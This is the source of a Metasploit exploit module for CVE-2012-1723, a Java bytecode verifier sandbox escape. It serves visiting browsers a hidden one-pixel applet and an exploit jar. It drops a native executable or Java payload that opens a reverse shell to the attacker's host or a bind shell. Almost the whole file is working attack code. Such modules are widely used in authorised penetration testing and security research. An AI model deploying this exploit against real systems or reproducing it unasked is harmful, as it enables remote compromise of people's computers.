Path: blob/master/modules/exploits/multi/browser/java_verifier_field_access.rb
29136 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpServer::HTML9include Msf::Exploit::EXE1011include Msf::Exploit::Remote::BrowserAutopwn12autopwn_info({ javascript: false })1314def initialize(info = {})15super(16update_info(17info,18'Name' => 'Java Applet Field Bytecode Verifier Cache Remote Code Execution',19'Description' => %q{20This module exploits a vulnerability in HotSpot bytecode verifier where an invalid21optimization of GETFIELD/PUTFIELD/GETSTATIC/PUTSTATIC instructions leads to insufficient22type checks. This allows a way to escape the JRE sandbox, and load additional classes23in order to perform malicious operations.24},25'License' => MSF_LICENSE,26'Author' => [27'Stefan Cornelius', # Discoverer28'mihi', # Vuln analysis29'littlelightlittlefire', # metasploit module30'juan vazquez', # merged code (overlapped)31'sinn3r' # merged code (overlapped)32],33'References' => [34['CVE', '2012-1723'],35['OSVDB', '82877'],36['BID', '52161'],37['URL', 'http://schierlm.users.sourceforge.net/CVE-2012-1723.html'],38['URL', 'http://www.oracle.com/technetwork/topics/security/javacpujun2012-1515912.html'],39['URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=829373'],40['URL', 'http://icedtea.classpath.org/hg/release/icedtea7-forest-2.1/hotspot/rev/253e7c32def9'],41['URL', 'http://icedtea.classpath.org/hg/release/icedtea7-forest-2.1/hotspot/rev/8f86ad60699b']42],43'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },44'Targets' => [45[46'Generic (Java Payload)',47{48'Platform' => ['java'],49'Arch' => ARCH_JAVA50}51],52[53'Windows x86 (Native Payload)',54{55'Platform' => 'win',56'Arch' => ARCH_X8657}58],59[60'Mac OS X PPC (Native Payload)',61{62'Platform' => 'osx',63'Arch' => ARCH_PPC64}65],66[67'Mac OS X x86 (Native Payload)',68{69'Platform' => 'osx',70'Arch' => ARCH_X8671}72],73[74'Linux x86 (Native Payload)',75{76'Platform' => 'linux',77'Arch' => ARCH_X8678}79],80],81'DefaultTarget' => 0,82'DisclosureDate' => '2012-06-06',83'Notes' => {84'Reliability' => UNKNOWN_RELIABILITY,85'Stability' => UNKNOWN_STABILITY,86'SideEffects' => UNKNOWN_SIDE_EFFECTS87}88)89)90end9192def exploit93# load the static jar file94path = File.join(Msf::Config.data_directory, 'exploits', 'CVE-2012-1723.jar')95fd = File.open(path, 'rb')96@jar_data = fd.read(fd.stat.size)97fd.close9899super100end101102def on_request_uri(cli, request)103data = ''104host = ''105port = ''106107if !request.uri.match(/\.jar$/i)108if !request.uri.match(%r{/$})109send_redirect(cli, get_resource + '/', '')110return111end112113print_status("Sending #{name}")114115payload = regenerate_payload(cli)116if !payload117print_error('Failed to generate the payload.')118return119end120121if target.name == 'Generic (Java Payload)'122if datastore['LHOST']123jar = payload.encoded124host = datastore['LHOST']125port = datastore['LPORT']126vprint_status('Sending java reverse shell')127else128port = datastore['LPORT']129host = cli.peerhost130vprint_status('Java bind shell')131end132if jar133print_status("Generated jar to drop (#{jar.length} bytes).")134jar = Rex::Text.to_hex(jar, '')135else136print_error('Failed to generate the executable.')137return138end139else140141# NOTE: The EXE mixin automagically handles detection of arch/platform142data = generate_payload_exe143144print_status("Generated executable to drop (#{data.length} bytes).")145data = Rex::Text.to_hex(data, '')146147end148149send_response_html(cli, generate_html(data, jar, host, port), { 'Content-Type' => 'text/html' })150return151end152153print_status('Sending jar')154send_response(cli, generate_jar, { 'Content-Type' => 'application/octet-stream' })155156handler(cli)157end158159def generate_html(data, jar, host, _port)160jar_name = rand_text_alpha(rand(3..8)) + '.jar'161162html = '<html><head></head>'163html += '<body>'164html += "<applet archive=\"#{jar_name}\" code=\"cve1723.Attacker\" width=\"1\" height=\"1\">"165html += "<param name=\"data\" value=\"#{data}\"/>" if data166html += "<param name=\"jar\" value=\"#{jar}\"/>" if jar167html += "<param name=\"lhost\" value=\"#{host}\"/>" if host168html += '</applet></body></html>'169return html170end171172def generate_jar173@jar_data174end175end176177178